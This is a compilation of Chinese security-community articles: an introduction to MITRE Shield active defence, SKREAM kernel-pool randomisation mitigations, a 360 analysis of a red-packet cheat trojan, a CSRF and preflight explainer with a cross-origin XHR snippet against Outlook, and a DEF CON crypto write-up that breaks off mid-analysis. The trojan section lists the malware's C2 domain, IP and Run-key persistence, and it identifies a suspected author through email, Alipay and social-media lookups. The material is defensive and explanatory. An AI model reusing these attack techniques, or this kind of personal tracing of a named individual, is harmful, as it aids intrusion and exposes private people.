Shield创建于2019年，是一个非常新的知识库，目前只是Shield知识库的第一个版本。MITRE表示，Shield的下一个版本将有改进的结构和更多的内容。2020年8月，MITRE发布了《MITRE
Shield
介绍》。笔者获悉后，第一时间整理此文，以引起业内重视。笔者愿意相信：Shield积极防御知识库将成为网络安全行业重要的发展方向之一，将成为各组织机构实施积极防御的指导框架和重要资源。笔者在整理本文过程中，主要参考了Shield网站和《MITRE
Shield 介绍》的内容：
* Shield网站地址：<http://shield.mitre.org>；
* 《MITRE Shield 介绍》下载地址：<https://shield.mitre.org/resources/downloads/Introduction_to_MITRE_Shield.pdf>
关键词：MITRE；Shield（护盾、盾牌、防护）；对手交战（adversary engagement）；积极防御（active
defense）；战术（Tactics）；技术（Techniques）；过程（Procedures）；机会空间（Opportunity
Space）；用例（Use Cases）；注：这些关键词在本文中频繁出现，对于理解Shield积极防御知识库非常必要，务必熟悉之。
## 一、Shield背景介绍
### Shield简介
Shield积极防御知识库由MITRE的交战团队（engagement
team）于2019年创建，用于改进作战行动计划。2020年8月，MITRE发布了《MITRE Shield 介绍》，封面如下：
图1-《MITRE Shield 介绍》的封面
Shield包括防御者可以用于开展积极防御的技术的数据库，还描述了防御计划中常见的一些战术，然后将战术映射到可能有助于实现这些目标的活动。该知识库包括一个MITRE
ATT&CK和Shield
技术之间的映射，以说明对手战术、技术和过程（TTP）引入的防御可能性。目前Shield知识库的第一个版本，侧重于基本的安全技术，因为这些是建立良好的欺骗和对手交战的基石。MITRE认为在积极防御空间中有太多可能的活动无法列举完整，因此Shield是不完整的。尽管如此，Shield对于那些寻求理解或实施积极防御的组织来说，是一个很好的资源，并且可以促进整个防御社区的讨论和技术交流。
### 为何创建Shield
1）创造Shield的动机是什么？这个项目源于MITRE团队记录了在对手交战行动中可能有用的技术。MITRE在网络欺骗和对手交战方面有着丰富的工作历史，因此对于团队来说，创建这个知识库也成为一个自然而然的过程。2）为什么知识库命名为Shield？Shield既是动词，意思是防御危险或风险；也是名词，意思是保护或防御。就像这个词一样，MITRE的Shield知识库可以根据防守者的具体需要，以多种方式使用。
### Shield术语
Shield的目标之一是使用足够的结构和严格性，而又不必过于僵化或复杂。MITRE从《国防部军事及相关术语词典》以及《美国政府跨机构及相关术语汇编》中找到的术语开始：
* 积极防御（Active Defense）：利用受限的进攻性行动和反击，来拒止对手进入一个有争议的地区或位置。
* 战略（Strategy）：以同步和集成的方式运用国家力量手段实现战区、国家和/或多国目标的审慎想法或想法集。
* 战术（Tactics）：在考虑相互关系的情况下对兵力的运用和有序安排。
* 技术（Techniques）：用于执行使命、功能、任务的非规定性的方式或方法。
* 过程（Procedures）：规定如何执行特定任务的标准的详细步骤。
为适合网络积极防御领域，MITRE修改了这些术语。MITRE的定义如下：
* 战术：是抽象的防御者的目的。MITRE发现，有一个能够描述知识库中其他各种元素的效用或用途的分类系统，是很有用的。例如，“引导”战术可以与特定的技术、计划的技术集的一部分，甚至是整个长期交战战略的一部分相关联。
* 技术：是防御者可以执行的一般行动（actions ）。一个技术可能有几种不同的战术效果，这取决于它们是如何实现的。
* 过程：是一个技术的实现。在这个版本中，只包含一些简单的过程来激发更多的思考。其目的不是提倡特定的产品、解决方案或结果，而是促使组织广泛考虑现存的选择。Shield中包含的数据集，必然是不完整的，因为存在太多可能的变化，无法可靠地记录。
MITRE还添加了一些新术语：
* 机会空间（Opportunity Spaces）：描述当攻击者运用他们的技术时引入的高级别积极防御可能性。
* 用例（Use Cases）：是对防御者如何利用攻击者的行为所呈现的机会（opportunity ）的高级别描述。用例有助于进行特定的实现讨论。注意：在知识库的下一个版本中，可以看到用例的自然演化正在发挥作用。
### 何谓积极防御
美国国防部将积极防御定义为“利用受限的进攻性行动和反击，以拒止敌手进入有争议的地区或阵地。”积极防御的范围从基本的网络防御能力到网络欺骗和对手交战行动。这些防御措施的组合，使一个组织不仅能够抵制当前的攻击，而且能够更多地了解对手，更好地为将来的新攻击做好准备。1）通用网络防御（General
Cyber
Defense）Shield包括了MITRE认为适用于所有防御计划的基本防御技术。要想在欺骗和对手交战中取得成功，必须使用基本的网络防御技术，如收集系统和网络日志、PCAP、执行数据备份等。尤其是当通过对组织所面临的威胁进行评估并确定其优先级时，许多Shield技术可在企业网络中应用，特别是用于检测和阻止对手。所以，虽然Shield似乎面向欺骗和对手交战，但也包括了基本的防御技术。2）网络欺骗（Cyber
Deception）有越来越多的想法、工具和产品使用“绊索”（tripwire）方法来进行网络防御，这被广泛地称为“欺骗”。与通用网络防御中的强化和检测活动相比，欺骗更加主动，防御者会故意引入目标和“面包屑”（目标位置的线索）。精心构建的欺骗系统，通常难以与真实生产系统区分开来，可以用作高保真的检测系统。Shield的技术可以包括检测、威慑或其他预期效果的欺骗。3）对手交战（Adversary
Engagement）Shield中的许多技术都是为防御者设计的，他们想观察、收集和理解对手针对防御系统的活动。可部署在生产环境或综合环境中，Shield对手交战技术可促进有效、高效的交战。Shield知识库可用于分析已知的对手信息（在ATT&CK的帮助下）、计划防御措施、获取对未来有用的知识。
## 二、Shield矩阵模型
### 战术和技术的关系
Shield模型主要由技术和战术构成。战术和技术之间的关系，可以用矩阵来说明。矩阵包括：
* 战术：表示防御者试图完成的任务（列）；
* 技术：描述防御如何实现战术（单个单元格）；
关于技术和战术的关系，可以打个比方：战术比作容器（containers），技术比作积木（building
blocks）。每个容器（战术）都装着积木（技术）。防御者运用Shield的方法是：防御者可以浏览知识库中提供的战术（容器），并选择最适合积极防御需求的战术（如收集（collection））。然后防御者可以查看在该战术目标中分组的技术（积木），并选择允许他们构建最佳积极防御解决方案的技术。Shield网站有一个矩阵视图，它提供了对积极防御战术和技术的快速可视化描述。
图2-Shield积极防御矩阵
战术和技术之间的关系可以是多对多的，一种技术可以支持多种不同的战术，任何战术都有多种技术可以使用。例如，可以加强安全控制以干扰对手的活动，也可以放松安全控制以促进进一步的交战。在实际行动（operation）中，一个单独的行动（action）或技术可以同时支撑多个战术，而完成一个战术可能需要多种技术。
### 积极防御的战术
表3-积极防御的战术
由上图可知，积极防御的战术的数量并不多，目前就8个。点击ID列的任何一个，比如第一个DTA0001，则进入了“引导（Channel）”战术的页面：
图4-引导（Channel）战术包含的技术
上表中第1列所引用的技术，均来自后文的表5。如果点击上表中第1列的特定技术，比如第一个DTE0001-Admin
Access（管理员访问）技术，则会访问到该项具体技术的页面，即下一节的表6~表10。
### 积极防御的技术
技术描述了防御者在积极防御中可以做的事情。防御者通过执行一个或多个行动（actions），来达到战术目标。例如，防御者可以在对手交战系统上播种诱饵凭证，以查看对手是否将凭证转储并使用它们来访问交战网络中的其他系统。
Shield技术从基本到高级都有：
* 基础技术：如备份和恢复、网络监控、系统活动监视，可以在许多组织中广泛应用。这些技术作为组织的积极防御组合的一部分是必要的。
* 高级技术：类似操纵网络和软件的高级技术，可能只对那些寻求在更深层次研究对手或与对手交战的欺骗型供应商和组织有用。
Shield的所有技术如下表所示：
表5-积极防御的技术
有上表可见，积极防御的技术目前总共有34项。
如果点击第1列中的具体技术，则可以访问技术的详细信息页面，该页面提供了多个表格信息：
* 该技术支持的战术；
* 基于对手TTP的可用机会；
* 用于促进实施讨论的用例；
* 用于促进实施讨论的过程。过程是技术的实现的高级别描述；
* 与该技术相关的ATT&CK技术；
笔者以第一项技术为例，即管理员访问（Admin Access）。
该技术的支持的战术如下：
表6-技术支持的战术
该技术的可用机会如下：
表7-机会（Opportunities）
该技术的用例如下：
表8-用例（Use Cases）
该技术的过程如下：
表9-过程（Procedures）
该技术相关的ATT&CK技术如下：
表10-ATT&CK技术
点击上图中ID列中的T1014链接，则可以打开ATT&CK的Rootkit技术的页面。
点击上图中ATT&CK战术列中的Defense Evasion（防御规避）链接，则可以打开到Defense
Evasion（防御规避）战术的映射页面，参见后文的表13。
## 三、Shield与ATT&CK的映射
在MITRE ATT&CK中发现的对手行动，经常能为防御者提供反制的机会。所以，MITRE把Shield的技术映射到MITRE
ATT&CK上，使其能够制定计划以利用这些机会为防御者创造优势。Shield的ATT&CK映射部分，包含了ATT&CK框架中的对手战术列表。如下所示：
表11-ATT&CK战术映射
通过对比上表与下图（ATT&CK 矩阵）的第一行列标题可知，上面列出的12项ATT&CK战术与ATT&CK矩阵是严格对应的。
图12-MITRE ATT&CK 矩阵-企业版
进一步，每个ATT&CK战术都有一个详细映射页面，列出了结合ATT&CK和Shield的信息：
* 来自ATT&CK：与该战术相关的对手技术；
* 来自Shield：针对对手技术的适用的积极防御信息，包括呈现的机会空间、要实施的积极防御技术、该实施的用例。
关于机会空间：详细信息页面上显示的信息，旨在说明积极防御应对ATT&CK技术的可能性。在ATT&CK映射表的机会空间列中，描述了对手技术呈现的高级别可能性。许多对手技术呈现出不止一个机会，多个机会在表格中各占一行。关于用例：用例是对防御者如何运用列出的积极防御技术来利用所呈现的机会的适度详细的描述。许多列出的机会允许使用基本的积极防御技术，来检测和破坏企业网络中的对手。而其他列出的机会表明了更具交战性的积极防御，这些机会可能会邀请管理层讨论如何在组织的网络防御组合中添加积极防御和对手交战技术。每个ATT&CK战术的详细映射页面（本例为Defense
Evasion），展示了4方面信息：
* ATT&CK技术：该战术所使用的对手技术，包含ATT&CK技术的ID和名称；
* 机会空间：当攻击者运用其技术时，引入的高层级积极防御的可能性或机会；
* AD技术（积极防御技术）：可应用的特定的积极防御技术；
* 用例：可能应用的用例，是对防御者如何利用对手行动所呈现的机会的高层级描述。
点击表10中ATT&CK战术列中的“TA0005-防御规避”战术的链接，就可以访问“防御规避”战术的详细映射表（如下表所示）。而上面列出的4个方面，恰恰是下表的4列的标题名称：
表13-到ATT&CK“防御规避”战术的详细映射（截图不全）
进一步，点击ATT&CK技术列（第1列）中的链接，可以访问ATT&CK网站的特定技术；点击AD技术列（第3列）中的链接，可以访问Shield网站的特定技术。
需要强调的是，MITRE认为同时使用ATT&CK和Shield，可以帮助防御者加深对对手行为和交战的理解，并建议防御者可以采取更加主动的防御方式。
## 四、小结与展望
1）小结MITRE
Shield是一个知识库，为防御者提供用来对付网络对手的工具。MITRE的目标是防御者能够利用Shield中包含的战术和技术，来更好地创建、使用、操作他们的积极防御解决方案。MITRE也希望通过展示Shield的防御侧如何与MITRE
ATT&CK保持一致，可以帮助组织利用这两种解决方案，来最大限度地提高他们的防御能力。
2）未来设想MITRE团队设想对当前数据模型进行改进，以适应更加复杂的积极防御解决方案。这将允许MITRE组合多种技术和过程，来创建复杂的剧本。利用ATT&CK的分组信息，有可能创建适用于特定对手的积极防御剧本。 | 社区文章 |
### 0x01 关于SKREAM
在[前一篇文章](https://xz.aliyun.com/t/3145)中，我们讨论了内核池溢出漏洞，并提出了一种新的缓解方法，旨在防御Windows
7和8系统上使用特定溢出技术。该技术已应用到我们的[SKREAM](https://github.com/Sentinel-One/SKREAM)
工具包里。
尽管我们在Windows
8.1中缓解了这种攻击手法(在0xbad0b0b0中构建恶意OBJECT_TYPE结构)，但是内存溢出漏洞仍屡禁不止，道高一尺，魔高一丈。利用的手法也再不断革新。因此我们也希望SKREAM能更进一步，本文将提出两种新技术，以一种更普遍的方式来防御内存溢出漏洞，不管你使用什么手法，该技术都能让你足够头痛【手动狗头】。
溢出成功有几个必要的前提。攻击者必须能够找到一个关键的地址来构建溢出缓冲区，并且准确地知道应该写入哪些数据，哪些需要保持其余数据不变。放错字节或是放错位置都可能导致下一内存分配出错进而导致诸如蓝屏死机这样的问题。
图1 内存溢出。比如在进行类型索引覆盖攻击时，该漏洞试图设置ObjectHeader。下一个池块的类型索引为0或1。
为了实现这个目标它必须计算ObjectHeader从溢出缓冲区开始的准确距离，以及TypeIndex的偏移量。
因为攻击需要精确到每一个字节，所以可以在池分配时引入随机分配来干扰这类漏洞。这里提供两种思路，一是选择转移(或隔离)分配，二是”膨胀“分配。两种思路的最终目标都是使攻击者不知道溢出空间的大小，各有千秋。
* * *
### 0x02 PoolSlider
> 下文中将以笔者个人对这项技术的理解“内存隔离”来叙述
如[WDK文档](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exallocatepoolwithtag)里所说的一样，x64架构上的内存分配器所分配的字节长度必须四舍五入到16字节(x86架构上8字节)。这就意味着任何请求大小如果不足16个字节的整数倍的话，都需要填充几个字符串来达到要求以便对其大小进行汇总。
图2 rdx大小为0x68字节的分配请求最后的实际大小是0x80字节:即请求头(0x10) +请求大小(0x68) +填充(0x8)
很明显如果想在这种条件下实现溢出，攻击者必须要考虑到字节不足而填充的部分。比如图2中尽管开发者只请求了0x68但是有0x70字节在到达下一个池分配之前必须被覆盖。
在我们的内存池隔离保护技术中，我们可以利用了这个填充和“隔离”这两特性，让指针以随机数的形式返回给调用者。这样一来，只要我们混淆内存池的开头创建的填充字节，并且减少在结尾部分填充字节量。就能逆转溢出攻击的可预测性。整个分配被转移了，而且攻击者还需要考虑填充字节的影响，就会导致攻击者无法将特定数据写入特定的位置了。
图3 有隔离(右)和无隔离(左)。
现在我们通过SKREAM扩展来监听图像加载事件[图像加载事件](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetloadimagenotifyroutine)，并在每个新加载驱动的`ExAllocatePoolWithTag`上放一个IAT钩子，从而实现了防御。每当内存池分配时，我们的钩子都会计算需要填充的填充字节数添加到内存中。随即在1和可用填充量之间产生一个随机数n，并将返回给调用者的指针向前推进n位。
* * *
### 0x03 处理释放
通过将返回的指针向前推进后，我们破坏了内存池的可预测性，这不仅仅是攻击者。假设内存池管理器返回给调用者的指针前面还有一个描述分配的[`POOL_HEADER`](https://www.nirsoft.net/kernel_struct/vista/POOL_HEADER.html)结构。这意味着当尝试释放一个由‘P’表示的内存池时(比如调用`nt!ExFreePoolWithTag`)，内存管理器将在
**`P – sizeof(POOL_HEADER)`**
搜索相关的池头数据。但是当使用内存池隔离技术时，假设完全没用，[`BAD_POOL_HEADER`](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-0x19--bad-pool-header)会导致系统崩溃。
为了正确地处理释放，我们必须在`ExFreePoolWithTag`上多放一个IAT钩子，并在处理释放前将指针重新对齐到16个字节。
### 0x04 其他问题
在测试内存池隔离技术时，我们还遇到了一些问题。有些问题很容易搞定，而有些问题仍然对这种防御带来严重威胁:
* 使用`ExAllocatePoolWithTag`分配，`ExFreePool`释放，反之亦然。
> 同时在`ExAllocatePool`和`ExFreePool`上放钩子，并在`Ex{Allocate,
> Free}PoolWithTag`处进行同样的随机/重新对齐处理。
* 分配带有`ExAllocatePool(WithTag)`的字符串并使用`RtlFree{Ansi, Unicode}String`释放。
>
> 这种写法很烦躁，字符串应该交给对应的进程来分配。这些内部的释放函数将字符串对象的“缓冲区”元素转给`ExFreePool(WithTag)`，如果此时指针没有16个字节，就会导致系统崩溃。可以在`RtlFree{Ansi,
> Unicode}String`上放个IAT钩子，使用在`ExFreePool(WithTag)`中一样的手法来重新对齐指针。
* 当一个驱动正在分配内存遇上另一个驱动释放内存。
>
> 目前遇到的最复杂的情况是一个驱动分配内存时碰上另一个驱动(通常是NTOS)释放内存。在这种情况下，当释放驱动程序没有放钩子时，不能在调用`ExFreePool`之前重新对齐的指针，否则会出现前面提到过的[`BAD_POOL_HEADER`](https://docs.microsoft.com/en-> us/windows-hardware/drivers/debugger/bug-check-0x19--bad-pool-header)而崩溃。
图4 由`Blbdrive`分配的带有“Blbp”标签时的情况。NTOS直接释放了sys。由于内存地址没有与0x10对齐，导致了[`bugcheck
0xC2`](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-0x19--bad-pool-header)。
到目前为止还有个没有解决的问题，那就是没有可填充字节的情况下内存分配需要满足请求大小为16的整数倍这个该如何实现。这个条件会导致返回给调用者的指针在内存隔离不能向前推进。目前我们选择忽略这个问题，就当是目前的技术无法解决的问题。
其实这个问题可以通过在对齐的池块的末尾人为填充来解决。将1添加到请求的分配大小里就需要内存池管理器再添加15字节的填充，的确可以填充，代价是会对内存池造成一些不必要的浪费。
### 0x05 内存池隔离 Vs HEVD
> HEVD为[`HackSys Extreme Vulnerable
> Driver`](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)的缩写，一个用于攻击系统驱动的开源项目
我们使用了HEVD对内存池隔离技术进行了测试：
图5.1 后面将会被利用到的内存分配。需要注意的是返回给调用者的指针(保存在rax寄存器中)移动了5个字节。
图5.2 溢出之前和之后下一个池块的头。可以看到，这个漏洞没有保留原池头。在这种情况下，溢出会因为PoolSlider移动了指针而终止。
图5.3 溢出破坏了下一个标头，未能保持内存池的完整性。最终也将崩溃。
### 0x06 PoolBloater
> 又名“资源浪费者”
减少内存溢出的第二种方法要简单得多，因为我们根本不改变分配的基本地址。相反，它会随机增加请求池分配的大小(即“膨胀”)，从而破坏攻击的精度。
图6 有(右)和没有(左)PoolBloater的内存池。
PoolBloater的实现手法对比起PoolSlider的来说简单得多。用相同的方式在`ExAllocatePool(WithTag)`处放钩子
，只改变钩子里面的功能:
这种方法的主要优点是它避免了我们在尝试内存隔离时遇到的很多问题。因为我们只改变内存池的大小，所以我们不需要解决指针不对齐的问题。最明显优势是，它有效地避免了内存碰撞。因为溢出的大小是随机的，所以根本就不适用于内存碰撞带来的漏洞，并且会被分配到一个无法预料的位置。
图7 有SKREAM（上图）无SKREAM（下图）。
当然，这种方法也有明显的缺点，内存占用率可能会比平常高得多，随着添加的字节数而变化。我们随机化选择设置一个上限防御效果会更好，代价是资源占用也更多了。另一方面，随机化选择一个较低的下限能够避免资源占用问题，但是也会导致防御变差。
### 0x07 已知缺陷
因为系统机制(比如[`PatchGuard`](https://en.wikipedia.org/wiki/Kernel_Patch_Protection))的原因这两种手法各有利弊，这些机制限制了我们监视驱动的能力，最明显的就是内核可执行程序本身(NTOSKRNL)。因此，我们目前只能防御内存溢出攻击中的冰山一角，未来希望这个项目能够逐渐扩大能防御的范围。
目前，两种手法都存在以下限制:
* 仅能保护非Windows操作系统的一部分的驱动程序。
* 仅能保护在SKREAM之后加载的驱动。
* 仅能保护故障驱动程序通过`ExAllocatePool(WithTag)`直接执行的内存分配。系统所做的任何内存分配都无法保护，即使被第三方驱动程序做过处理的(比如IOCTLs中的SystemBuffer)。
* 仅能保护与文中所提到的内存分配方式相似的分配。(因为跨度大的会由`nt!ExpAllocateBigPool`以不同的方式处理)
* 我们仍然未通过不放钩子的方式实现防御，这意味着部署SKREAM后直接卸载会有奔溃的风险。[手动狗头]
* 如果编译SKREAM时启用了内存隔离技术，那么其的服务不能该为伴随系统启动，只能自启(否则系统可能会崩溃)。
> 原文：<https://www.sentinelone.com/blog/skream-reloaded-randomizing-kernel-> pool-allocations/> | 社区文章 |
# “红包快抢”外挂木马分析及幕后黑手调查
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近期有网友反馈,在QQ群里下载运行了一款抢红包软件后,发现自己的电脑就被黑客接管控制了,非常担心重要数据和账号泄露。根据网友提供的这款名为“红包快抢”的外挂进行分析,360QVM团队发现此外挂是一个典型的木马后门,使黑客能够获得受害者电脑的访问权。
“红包快抢”木马技术分析
当程序执行后会获取临时目录C:DOCUME~1ADMINI~1LOCALS~1Temp,在目录下创建目录_ir_sf_temp_0,并在目录下释放irsetup.exe和lua5.1dll。
这里恶意程序通过利用IndigoRose出品的一款安装程序制作工具Setup Factory,而irsetup.exe通过
__IRCT:0 __IRTSS:0 __IRSID:S-1-5-21-1614895754-1935655697-1417001333-500
__IRAOFF:1751402 __IRAFN:C:Documents and SettingsAdministrator桌面1.exe __IRCT:0
__IRTSS:0 __IRSID:S-1-5-21-这段参数启动。
程序文件对文件的操作如上图,当irsetup.exe将TenioDL_core.dll、Inst.exe、Config.dat等文件释放完后,通过启动
C:Documents and SettingsAdministratorApplication
Data目录下的Inst.exe。而Inst.exe执行会导入同目录下的TenioDL_core.dll这个文件。
而该目录下的
TenioDL_core.dll并非Inst.exe真正所需加载的dll文件。它是伪造的一个dll文件,它提供同样的输出表。所以,在Inst.exe调用TenioDL_core.dll的时候,就会调用该目录下这个伪造的DLL,执行相关的恶意行为。
而TenioDL_core.dll主要是将C:Documents and SettingsAdministratorApplication
Data下的config.dat解密到内存中。
并且会对解密出来的文件进行判断,判断是否为PE文件。
随后分别在policydefine和slimit两个目录下释放文件。
Inst.exe随后通过启动程序dllhost.exe
,读取同在slimit目录下的config.dat文件到内存中解密执行,随后与zhong2016.org建立连接。
而slimit目录下的
Config.dat通过算法解密出来,得知它是一个dll文件。
解密前
解密后
解密算法
而该后门程序为了达到长期驻留在受害者的计算机中,通过修改注册表启动项来达到后门程序随受害者计算机系统启动而启动。这里主要是Config.dat在内存中解密执行过程中,将slimit目录下的start.exe添加到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun启动项中。
最后,通过抓包工具捕获到后门程序尝试与176.9.12.95:2016进行连接访问的数据包。
追踪“牧马人”
而这个IP指向的域名为zhong2016.org,通过查询得知该域名联系人的一些信息。根据网易手机号码邮箱135****[email protected]的信息,推测牧马人有可能活跃在广东湛江。
凭借邮箱关联的手机号码在支付宝上进行查询,查询结果显示出疑似木马作者的姓名:
通过搜索引擎查找该姓名,发现其新浪微博、腾讯微博以及发布在求职网站上的个人简历。
通过对木马分析和溯源可知,“红包快抢”外挂木马本身的技术水平并不高,木马作者也不擅长隐匿行踪,但由于自动抢红包充满了诱惑,以至于不少人宁可关闭安全软件也要用外挂,有可能因此而中招。
360QVM团队提醒广大网友,切勿轻信QQ群等非官方渠道传播的外挂软件,上网时一定要开启安全软件,在安全软件报警提示木马时及时查杀,不可冒险使用可疑外挂,以免遭遇严重损失。 | 社区文章 |
# 在现代web应用程序中的CSRF
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://rootme.in/csrf-in-modern-web-applications/>
译文仅供参考，具体内容表达以及含义原文为准。
CSRF或跨站点请求伪造(Cross-Site Request Forgery)在2013年的OWASP的前十名排名中排第8名。
引用OWASP的一个关于CSRF的简短介绍：
跨站点请求伪造(CSRF)是一种迫使一个终端用户在web应用程序上执行其不想进行的操作的攻击，该操作迫使他们进行身份验证。此外，CSRF攻击特定目标的状态改变请求，并不窃取数据，因为攻击者无法看到伪造请求的响应。
所以，简单地说：
你可以精心制作一个HTTP请求，当它执行时可以执行一个状态改变的操作，比如改变受害者的电子邮件地址或密码，或购买东西；
这个操作是受害者采取的，而攻击者只负责影响受害者去发起请求。
正如它的名字所说，这是一个跨站点请求，即请求是从一个站点发送到另一个站点。这通常意味着攻击者无法控制这个请求实际上去了哪里，所以通常攻击者是不可能阅读跨站点响应消息的(SOP
applies)。
引用Mozilla Developer Network的话：
同源策略限制了来自同一源头的一个文档或者脚本和来自另一源头的资源之间的相互作用，这是一个重要的用来隔离潜在恶意文件的安全机制；
然而，对攻击者而言，只需要这个操作被执行即可。浏览器收到服务器响应的时候，操作早已经完成。
今天的应用程序不仅仅回复URL 和 BODY参数，还大量使用HTTP头文件。让我们以Outlook为例：
一个简单的HTTP请求/响应可能看起来像这样的：
图中黄色高亮显示的HTTP头文件部分，经常X –开头的基本上是自定义标题，是服务器希望从每个请求中接收的。这里的X-OWA-CANARY是 ANTI-CSRF
Token，它存在于HTTP头文件中，而不是BODY参数。我经常发现人们在检查CSRF时会忽略HTTP头文件，特别是对于初学者来说。如果服务器的配置是正确的，它将立即拒绝HTTP头文件中不含CSRF
Token的请求，在这个例子中就是缺少X-OWA-CANARY，我们可以看到一个配置错误的诱饵的实现。
同时，人们缺乏“预检请求”的概念。在上面的例子中，即使服务器没有验证CSRF
Token，我们也不能说它是易受CSRF攻击的——因为它可能使用了其他一些HTTP头文件，包含了“X-OWA-UrlPostData”，这是至关重要的。然而，可以设置自定义头文件来对跨站点请求做预检。
所以这到底是什么意思呢？
引用MDN的描述：
不像简单的请求，“预检请求”首先用设置的方法发送一个HTTP请求到另一个域的资源，以确定实际的请求发送是否是安全的。自从跨站点请求会影响到用户的数据之后一般都会做这样的预检。特别是，如果一个请求是以下这样就会做预检：
它使用了GET，HEAD 或者 POST以外的方法。此外，如果使用POST发送带有编码标签(Content-Type)而不是带有application/x-www-form-urlencoded, multipart/form-data, 或者
text/plain的请求数据，例如如果POST请求向服务器发送一个使用application / XML或text/
XML的XML有效负载，那么这个请求就需要进行预检；
它在请求中设置自定义头文件（例如使用一个带有X-PINGOTHER头文件的请求）。
简单地说，那些可能会给用户数据带来副作用的请求都需要进行预检。事实上，预检请求从来不会到达服务器，除非它们被明确告知。它们需要在相应的HTTP响应中出现特定的头文件信息。
如果想亲眼看一下，可以拷贝以下代码：
var xhr = new XMLHttpRequest();
xhr.open('POST',
'https://outlook.live.com/owa/service.svc?action=SubscribeToNotification&EP=1&UA=0&ID=-34&AC=1',true);
xhr.setRequestHeader('X-OWA-UrlPostData','%7B%22request%22%3A%7B%22__type%22%3A%22GetExtensibilityContextParameters%3A%23Exchange%22%2C%22FormFactor%22%3A3%2C%22ClientLanguage%22%3A%22en-US%22%2C%22IncludeDisabledExtensions%22%3Atrue%7D%7D');
xhr.send(null);
然后，粘贴到你的浏览器控制台(F12)。结果将是如下所示：
实际的请求应该是这样的：
恕我直言，使用HTTP头文件中带有anti-csrf令牌的应用（如Outlook、Instagram等）实际上并不容易遭受CSRF攻击，即使攻击者能够以某种方式计算CSRF Token。
总之，我想说：
有些人在检查CSRF攻击时只考虑anti-csrf
Token。是的，虽然它可能在大多数情况下是脆弱的。但是，如果使用了一些猜不透的随机参数或者随机值的话，它并不是脆弱的。例如，在密码更改功能中anti-csrf令牌并不是必要的，如果它向你请求你现在的密码，那是因为攻击者需要你的密码来制作CSRF攻击你，这将使得他/她完全访问您的帐户。此外，在某些情况下，视图状态和时间戳值也为anti-csrf令牌的目的服务。所以，通常并不总是同样的token来阻止CSRF攻击，任何独一无二的或不可预测的/猜不透的键/值都可能阻止CSRF攻击。
这个帖子太长了，虽然我一直在努力压缩它。但是，我仍然相信我漏掉了很多东西，所以请为我提供宝贵的反馈信息。
不管怎样，我希望你们能够享受阅读这篇帖子。 | 社区文章 |
# 分析DEF CON CTF Quals 2020中Crypto方向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
DEF CON CTF Quals
2020中共有三道CRYPTO方向题目（两道CRYPTO、一道RE+CRYPTO），题目难度适中，比赛期间三道题目都出现了非预期解，本文对这三道题目的预期解和非预期解都进行一下分析。
## coooppersmith
### 题目描述
> I was told by a cooopersmith that I should send hackers encrypted messages
> because it is secure.
> coooppersmith.challenges.ooo 5000
>
> 130/500 pts, 41 solves
>
> [附件](https://share.weiyun.com/16a26D6z)
### 解题思路
本题程序要求选手输入一个长度不超过120的16进制串，然后会以PEM格式打印RSA公钥，并在`"Question"`字符串下一行打印了一个16进制串，最后接收一个用户输入：
Please input prefix IN HEX with length no more than 120: deadbeef
Your public key:
-----BEGIN RSA PUBLIC KEY----- MIIBCQKCAQA72hJsgSuPfUh1+EVHJMilCiEw5W5IiWOjdfRnuqdn2rsuvJSazeUg
3X0MITlZbIgM9oh7KP3uk6cGjF1HyOI1eAE4Yf8zLXHfVbFg5cx5ZcIJ7twrFgIV
Bz8kwTim8nt1bNf3AwPXpMJFr23BLMV6qaAGFcoffxgcEVz6hrHZDJYDXRfDlLGN
8a2x2w45dTLy53HR5GKV4xE4JoY9bJp7zmdJ/AVPD241XcHxDCaYh6qKeOjPAXLM
MJXR4qjHNfOJ9clzn57+V0553dPOkwsTdhtnjLo1lCuNurHinfiqQgpvJF4p7T2R
n3YE9HhPghwbiX6wwunBP4x5qI0qn47hAgMBAAE=
-----END RSA PUBLIC KEY----- Question:
0ffd37508c4a598298d94f0c2765114cd30ee97f7e739eb16bd9242aad138d518dc9c64be16e277975a79f96f2bc6dc18c84ee5d2056d1055f7125ee680a55b6364a66a6aa6f83743f5be558b08550586ba52bba59576bbebbf55ca06c12a43784dcbe37bef705e37ed30e73ecab4ed0d48569a9c6756d40f1f363005951d0a15b173673958b0fdc39a0b3aa3e21b71e9fa59f5552caaa656c90cea0920e15105f6f26899d4a6604b52f76f4e6ecd842a5c95aee0213b1abe48a6d36a2e34f57769cbcb963cc23765f253d998b8f21a9b7997cf42837d7b218ccab8d885a170bf589a6b41d9e6250c3a68c10429682dc1e65f7233aab8350a48fd13862734d8a
对程序进行逆向分析，定位到`sub_1E25`函数，程序首先通过`sub_1D4E`函数接收用户输入，然后通过`sub_18C4`处理我们输入的16进制字符串。
`sub_1E25`函数部分代码：
`sub_18C4`函数部分代码：
设`sub_18C4`函数的返回值为`r`，用户输入的16进制串的10进制整数形式为`u`，用户输入的16进制串的长度为`l`，`x`是区间`[ 0,
2^(2 * (128 - l)) )`上的一个随机数，则有：
接下来该函数会检查生成的`r`是否为素数，若为素数则返回`r`，否则将`r`值加1，继续判断是否为素数，若直到`[r // 2^(4 * (128 -l))]`不等于`u`时仍然不能找到一个素数`r`，则重新执行(1)式生产一个新的`r`并重复上述过程，直到找到一个素数`r`并返回该值。
接下来`sub_1DD8`函数会根据`r`的值来生成公私钥对，`sub_1DD8`函数调用`sub_14D8`函数，根据`r`的值采用[Pocklington定理](https://www.tandfonline.com/doi/abs/10.1080/00207160212708?journalCode=gcom20)生成素数`p`和`q`（`p`不等于`q`）。
`sub_14D8`函数部分代码：
即有：
其中`k_0`和`k_1`是区间`[0, r +
1)`上的2个随机数，接下来`sub_165E`函数根据`p`和`q`来生成一对RSA公私钥，然后`sub_1E25`函数再通过`PEM_write_RSAPublicKey`函数以PEM格式打印公钥`（e
= 65537, N = p * q）。`
`sub_165E`函数部分代码：
接下来程序调用`sub_1B3E`函数，该函数首先生成2个32比特的随机数`x`和`y`，然后使用前面生成的RSA公钥对字符串`"What's the
sum of " + str(x) + " and " + str(y) +
